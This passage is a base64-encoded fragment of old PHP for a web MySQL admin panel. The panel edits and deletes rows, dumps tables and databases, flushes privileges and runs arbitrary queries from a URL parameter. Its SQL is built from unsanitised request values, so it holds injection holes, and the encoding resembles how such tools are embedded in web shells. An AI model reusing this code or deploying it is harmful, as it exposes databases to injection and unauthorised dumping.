VjaG8gIiZvcmRlcmJ5PSRvcmRlcmJ5IjsNCgkJZWNobyAiJz5Q cmV2PC9hPlxuIjsNCgl9IGVsc2UNCgkJZWNobyAiUHJldiI7DQ oJZWNobyAiIHwgIjsNCglpZiggJHBhZ2UgPCAoJHJvdy8kcm93 cGVycGFnZSktMSApIHsNCgkJaWYoJGFjdGlvbiA9PSAidmlld0 RhdGEiKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2Fj dGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbW U9JHRhYmxlbmFtZSZwYWdlPSIuKCRwYWdlKzIpOw0KCQllbHNl DQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPX F1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVu YW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKz IpOw0KCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9 PSAidmlld0RhdGEiKQ0KCQkJZWNobyAiJm9yZGVyYnk9JG9yZG VyYnkiOw0KCQllY2hvICInPk5leHQ8L2E+XG4iOw0KCX0gZWxz ZQ0KCQllY2hvICJOZXh0IjsNCgllY2hvICIgfCAiOw0KCWlmKC Akcm93ID4gJHJvd3BlcnBhZ2UgKSB7DQoJCWVjaG8gIjxpbnB1 dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9cGFnZT5cbiI7DQoJCW VjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nR28nPlxu IjsNCgl9DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2 ZvbnQ+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhKCAk Y21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbW UsICR0YWJsZW5hbWUsICRQSFBfU0VMRjsNCg0KCWlmKCAkY21k ID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT 5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJ CWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZX N1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRh YmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcy ggJHBSZXN1bHQgKTsNCgkNCgkJJGtleSA9ICIiOw0KCQlmb3Io ICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZW xkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSAp Ow0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQ oJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJ JGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1 skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJ CQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE 9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0K CQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleS ktNCApOw0KDQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwg JG15c3FsSGFuZGxlICk7DQoJCSRwUmVzdWx0ID0gbXlzcWxfcX VlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFi bGVuYW1lIFdIRVJFICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsNCg kJJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQg KTsNCgl9DQoNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZG JuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoNCgllY2hv ICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3 Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAi PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPW FkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09 ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbi BuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4i Ow0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibm FtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQg dHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYm xlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5n PTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIj sNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0 aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC 90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgll Y2hvICI8L3RyPlxuIjsNCg0KCSRwUmVzdWx0ID0gbXlzcWxfZG JfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0 YWJsZW5hbWUiICk7DQoJJG51bSA9IG15c3FsX251bV9yb3dzKC AkcFJlc3VsdCApOw0KDQoJJHBSZXN1bHRMZW4gPSBteXNxbF9s aXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KDQ oJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJ JGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0IC k7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJ CSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbi A9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7 DQoNCgkJZWNobyAiPHRyPiI7DQoJCWVjaG8gIjx0ZD4kZmllbG RuYW1lPC90ZD4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5 cGUiXS4iPC90ZD4iOw0KCQllY2hvICI8dGQ+XG4iOw0KCQllY2 hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5hbWV9X2Z1bmN0aW9u PlxuIjsNCgkJZWNobyAiPG9wdGlvbj5cbiI7DQoJCWVjaG8gIj xvcHRpb24+QVNDSUlcbiI7DQoJCWVjaG8gIjxvcHRpb24+Q0hB UlxuIjsNCgkJZWNobyAiPG9wdGlvbj5TT1VOREVYXG4iOw0KCQ llY2hvICI8b3B0aW9uPkNVUkRBVEVcbiI7DQoJCWVjaG8gIjxv cHRpb24+Q1VSVElNRVxuIjsNCgkJZWNobyAiPG9wdGlvbj5GUk 9NX0RBWVNcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9VTklY VElNRVxuIjsNCgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7DQoJCW VjaG8gIjxvcHRpb24+UEFTU1dPUkRcbiI7DQoJCWVjaG8gIjxv cHRpb24+UEVSSU9EX0FERFxuIjsNCgkJZWNobyAiPG9wdGlvbj 5QRVJJT0RfRElGRlxuIjsNCgkJZWNobyAiPG9wdGlvbj5UT19E QVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPlVTRVJcbiI7DQoJCW VjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsNCgkJZWNobyAiPG9w dGlvbj5SQU5EXG4iOw0KCQllY2hvICI8L3NlbGVjdD5cbiI7DQ oJCWVjaG8gIjwvdGQ+XG4iOw0KCQkkdmFsdWUgPSBodG1sc3Bl Y2lhbGNoYXJzKCRkYXRhWyRpXSk7DQoJCWlmKCAkY21kID09IC JhZGQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5 cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW 0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0 ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQ kJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsN CgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCW VjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBt dWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2 soICInIiApICkgew0KCQkJCQllY2hvICI8b3B0aW9uPiRzdHJc biI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCW VjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxu IjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQ oJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9 NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdG Q+XG4iOw0KCQkJCWVsc2UNCgkJCQkJZWNobyAiPHRkPjx0ZXh0 YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW 1lPSRmaWVsZG5hbWU+PC90ZXh0YXJlYT5cbiI7DQoJCQl9DQoJ CX0gZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCQkkdH lwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsN CgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gIn NldCIgKSB7DQoJCQkJZWNobyAiPHRkPlxuIjsNCgkJCQlpZigg JHR5cGUgPT0gImVudW0iICkNCgkJCQkJZWNobyAiPHNlbGVjdC BuYW1lPSRmaWVsZG5hbWU+XG4iOw0KCQkJCWVsc2UgaWYoICR0 eXBlID09ICJzZXQiICkNCgkJCQkJZWNobyAiPHNlbGVjdCBuYW 1lPSRmaWVsZG5hbWUgc2l6ZT00IG11bHRpcGxlPlxuIjsNCgkJ CQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7DQoJCQ kJCWlmKCAkdmFsdWUgPT0gJHN0ciApDQoJCQkJCQllY2hvICI8 b3B0aW9uIHNlbGVjdGVkPiRzdHJcbiI7DQoJCQkJCWVsc2UNCg kJCQkJCWVjaG8gIjxvcHRpb24+JHN0clxuIjsNCgkJCQkJc3Ry dG9rKCAiJyIgKTsNCgkJCQl9DQoJCQkJZWNobyAiPC9zZWxlY3 Q+XG4iOw0KCQkJCWVjaG8gIjwvdGQ+XG4iOw0KCQkJfSBlbHNl IHsNCgkJCQlpZiggJGxlbiA8IDQwICkNCgkJCQkJZWNobyAiPH RkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00MCBtYXhsZW5ndGg9 JGxlbiBuYW1lPSRmaWVsZG5hbWUgdmFsdWU9XCIkdmFsdWVcIj 48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48 dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW 4gbmFtZT0kZmllbGRuYW1lPiR2YWx1ZTwvdGV4dGFyZWE+XG4i Ow0KCQkJfQ0KCQl9DQoJCWVjaG8gIjwvdHI+IjsNCgl9DQoJZW NobyAiPC90YWJsZT48cD5cbiI7DQoJaWYoICRjbWQgPT0gImFk ZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdW U9J0FkZCBEYXRhJz5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAi ZWRpdCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdm FsdWU9J0VkaXQgRGF0YSc+XG4iOw0KCWVjaG8gIjxpbnB1dCB0 eXBlPWJ1dHRvbiB2YWx1ZT0nQ2FuY2VsJyBvbkNsaWNrPSdoaX N0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7 DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAkY2 1kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUs ICR0YWJsZW5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRiwgJH F1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJJHBSZXN1bHQgPSBteXNx bF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw 0KCSRudW0gPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCAp Ow0KDQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcW xIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRx dWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTF VFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJ CSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZS BWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0x OyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maW VsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1sk ZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bm MgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsN CgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJH F1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJ CQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPS AiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7 DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJE dMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAh PSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZW xzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0K CSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdC ApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRx dWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIi kiOw0KCWVsc2UgDQoJCSRxdWVyeVN0ciAuPSAiJyIgLiAkR0xP QkFMU1skZmllbGQtPm5hbWVdIC4gIicpIjsNCg0KCW15c3FsX3 F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkk ZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCXZpZXdEYXRhKC AiIiApOw0KfQ0KDQpmdW5jdGlvbiBkZWxldGVEYXRhKCkgew0K CWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW 5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3Ry LCAkZXJyTXNnOw0KDQoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2 ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCSRudW0g PSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KDQoJJG tleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRp KysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKC AkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFy eV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID 09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0i IC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQ oJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAi PSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORC AiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJs ZW4oJGtleSktNCApOw0KDQoJbXlzcWxfc2VsZWN0X2RiKCAkZG JuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCgkkcXVlcnlTdHIgPSAg IkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJGtleSI7DQ oJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxl ICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoNCgl2aW V3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZmV0Y2hfdGFi bGVfZHVtcF9zcWwoJHRhYmxlKQ0Kew0KCWdsb2JhbCAkbXlzcW xIYW5kbGUsJGRibmFtZTsNCgkNCglteXNxbF9zZWxlY3RfZGIo ICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCSRxdWVyeV9pZC A9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSAkdGFi bGUiLCRteXNxbEhhbmRsZSk7DQoJJHRhYmxlZHVtcCA9IG15c3 FsX2ZldGNoX2FycmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0Mp Ow0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVF MgJHRhYmxlO1xuIiAuICR0YWJsZWR1bXBbJ0NyZWF0ZSBUYWJs ZSddIC4gIjtcblxuIjsNCg0KCWVjaG8gJHRhYmxlZHVtcDsNCg 0KCS8vIGdldCBkYXRhDQoJJHJvd3MgPSBteXNxbF9xdWVyeSgi U0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNxbEhhbmRsZSk7DQ oJJG51bWZpZWxkcz1teXNxbF9udW1fZmllbGRzKCRyb3dzKTsN Cgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3 dzLCBNWVNRTF9OVU0pKQ0KCXsNCgkJJHRhYmxlZHVtcCA9ICJJ TlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZW xkY291bnRlciA9IC0xOw0KCQkkZmlyc3RmaWVsZCA9IDE7DQoJ CS8vIGdldCBlYWNoIGZpZWxkJ3MgZGF0YQ0KCQl3aGlsZSAoKy skZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykNCgkJew0KCQkJ aWYgKCEkZmlyc3RmaWVsZCkNCgkJCXsNCgkJCQkkdGFibGVkdW 1wIC49ICcsICc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJ JGZpcnN0ZmllbGQgPSAwOw0KCQkJfQ0KDQoJCQlpZiAoIWlzc2 V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJ JHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQ oJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9l c2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLi AiJyI7DQoJCQl9DQoJCX0NCg0KCQkkdGFibGVkdW1wIC49ICIp O1xuIjsNCg0KCQllY2hvICR0YWJsZWR1bXA7DQoNCgl9DQoJQG 15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rp b24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYW N0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KDQoJaWYoICRh Y3Rpb24gPT0gImR1bXBUYWJsZSIgKXsNCg0KCQloZWFkZXIoIk NvbnRlbnQtZGlzcG9zaXRpb246IGZpbGVuYW1lPSR0YWJsZW5h bWUuc3FsIik7DQoJCWhlYWRlcignQ29udGVudC10eXBlOiB1bm tub3duL3Vua25vd24nKTsNCgkJZmV0Y2hfdGFibGVfZHVtcF9z cWwoJHRhYmxlbmFtZSk7DQoJCWVjaG8gIlxuXG5cbiI7DQoJCW VjaG8gIlxyXG5cclxuXHJcbiMjIyAkdGFibGVuYW1lIFRBQkxF IERVTVAgQ09NUExFVEVEICMjIyI7DQoJCWV4aXQ7CQkNCgkJCQ kNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0 aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZX IoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJ CQ0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbE hhbmRsZSApOw0KCQkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgi U0hPVyB0YWJsZXMiLCRteXNxbEhhbmRsZSk7DQoJCXdoaWxlIC gkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBN WVNRTF9OVU0pKQ0KCQl7DQoJCQkJZmV0Y2hfdGFibGVfZHVtcF 9zcWwoJHJvd1swXSk7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJ CQllY2hvICJcclxuXHJcblxyXG4jIyMgJHJvd1swXSBUQUJMRS BEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQkJCWVjaG8gIlxuXG5c biI7DQoJCX0NCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICRkYm 5hbWUgREFUQUJBU0UgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJ ZXhpdDsJCQ0KDQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIHV0aWxzKC kgew0KCWdsb2JhbCAkUEhQX1NFTEYsICRjb21tYW5kOw0KCWVj aG8gIjxoMT5VdGlsaXRpZXM8L2gxPlxuIjsNCglpZiggJGNvbW 1hbmQgPT0gIiIgfHwgc3Vic3RyKCAkY29tbWFuZCwgMCwgNSAp ID09ICJmbHVzaCIgKSB7DQoJCWVjaG8gIjxocj5cbiI7DQoJCW VjaG8gIlNob3dcbiI7DQoJCWVjaG8gIjx1bD5cbiI7DQoJCWVj aG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aW xzJmNvbW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5cbiI7 DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW 9uPXV0aWxzJmNvbW1hbmQ9c2hvd192YXJpYWJsZXMnPlZhcmlh YmxlczwvYT5cbiI7DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUE hQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19wcm9j ZXNzbGlzdCc+UHJvY2Vzc2xpc3Q8L2E+XG4iOw0KCQllY2hvIC I8L3VsPlxuIjsNCgkJZWNobyAiRmx1c2hcbiI7DQoJCWVjaG8g Ijx1bD5cbiI7DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1 NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfaG9zdHMn Pkhvc3RzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbH VzaF9ob3N0cyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJG bHVzaCBob3N0cyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiPG ZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIFN1Y2Nlc3M8L2ZvbnQ+ IjsNCgkJCWVsc2UNCgkJCQllY2hvICI8Zm9udCBzaXplPTIgY2 9sb3I9cmVkPi0gRmFpbDwvZm9udD4iOw0KCQl9DQoJCWVjaG8g IjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJm NvbW1hbmQ9Zmx1c2hfbG9ncyc+TG9nczwvYT5cbiI7DQoJCWlm KCAkY29tbWFuZCA9PSAiZmx1c2hfbG9ncyIgKSB7DQoJCQlpZi ggbXlzcWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9IGZhbHNl ICkNCgkJCQllY2hvICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPi 0gU3VjY2VzczwvZm9udD4iOw0KCQkJZWxzZQ0KCQkJCWVjaG8g Ijxmb250IHNpemU9MiBjb2xvcj1yZWQ+LSBGYWlsPC9mb250Pi I7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VM Rj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9wcml2aWxlZ2 VzJz5Qcml2aWxlZ2VzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5k ID09ICJmbHVzaF9wcml2aWxlZ2VzIiApIHsNCgkJCWlmKCBteX NxbF9xdWVyeSggIkZsdXNoIHByaXZpbGVnZXMiICkgIT0gZmFs c2UgKQ0KCQkJCWVjaG8gIjxmb250IHNpemU9MiBjb2xvcj1yZW Q+LSBTdWNjZXNzPC9mb250PiI7DQoJCQllbHNlDQoJCQkJZWNo byAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIEZhaWw8L2Zvbn Q+IjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9T RUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3RhYmxlcy c+VGFibGVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJm bHVzaF90YWJsZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KC AiRmx1c2ggdGFibGVzIiApICE9IGZhbHNlICkNCgkJCQllY2hv ICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPi0gU3VjY2VzczwvZm 9udD4iOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIjxmb250IHNpemU9 MiBjb2xvcj1yZWQ+LSBGYWlsPC9mb250PiI7DQoJCX0NCgkJZW NobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRp bHMmY29tbWFuZD1mbHVzaF9zdGF0dXMnPlN0YXR1czwvYT5cbi I7DQoJCWlmKCAkY29tbWFuZCA9PSAiZmx1c2hfc3RhdHVzIiAp IHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIHN0YXR1cy IgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiPGZvbnQgc2l6ZT0y IGNvbG9yPXJlZD4tIFN1Y2Nlc3M8L2ZvbnQ+IjsNCgkJCWVsc2 UNCgkJCQllY2hvICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPi0g RmFpbDwvZm9udD4iOw0KCQl9DQoJCWVjaG8gIjwvdWw+XG4iOw 0KCX0gZWxzZSB7DQoJCSRxdWVyeVN0ciA9IGVyZWdfcmVwbGFj ZSggIl8iLCAiICIsICRjb21tYW5kICk7DQoJCSRwUmVzdWx0ID 0gbXlzcWxfcXVlcnkoICRxdWVyeVN0ciApOw0KCQlpZiggJHBS ZXN1bHQgPT0gZmFsc2UgKSB7DQoJCQllY2hvICJGYWlsIjsNCg kJCXJldHVybjsNCgkJfQ0KCQkkY29sID0gbXlzcWxfbnVtX2Zp ZWxkcyggJHBSZXN1bHQgKTsNCg0KCQllY2hvICI8cCBjbGFzcz 1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8 aHI+XG4iOw0KDQoJCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz 0xIGNlbGxwYWRkaW5nPTIgYm9yZGVyPTA+XG4iOw0KCQllY2hv ICI8dHI+XG4iOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkY29sOy AkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmll bGQoICRwUmVzdWx0LCAkaSApOw0KCQkJZWNobyAiPHRoPiIuJG ZpZWxkLT5uYW1lLiI8L3RoPlxuIjsNCgkJfQ0KCQllY2hvICI8 L3RyPlxuIjsNCg0KCQl3aGlsZSggMSApIHsNCgkJCSRyb3dBcn JheSA9IG15c3FsX2ZldGNoX3JvdyggJHBSZXN1bHQgKTsNCgkJ CWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJCW VjaG8gIjx0cj5cbiI7DQoJCQlmb3IoICRqID0gMDsgJGogPCAk Y29sOyAkaisrICkNCgkJCQllY2hvICI8dGQ+Ii5odG1sc3BlY2 lhbGNoYXJzKCAkcm93QXJyYXlbJGpdICkuIjwvdGQ+XG4iOw0K CQkJZWNobyAiPC90cj5cbiI7DQoJCX0NCgkJZWNobyAiPC90YW JsZT5cbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBoZWFkZXJfaHRt 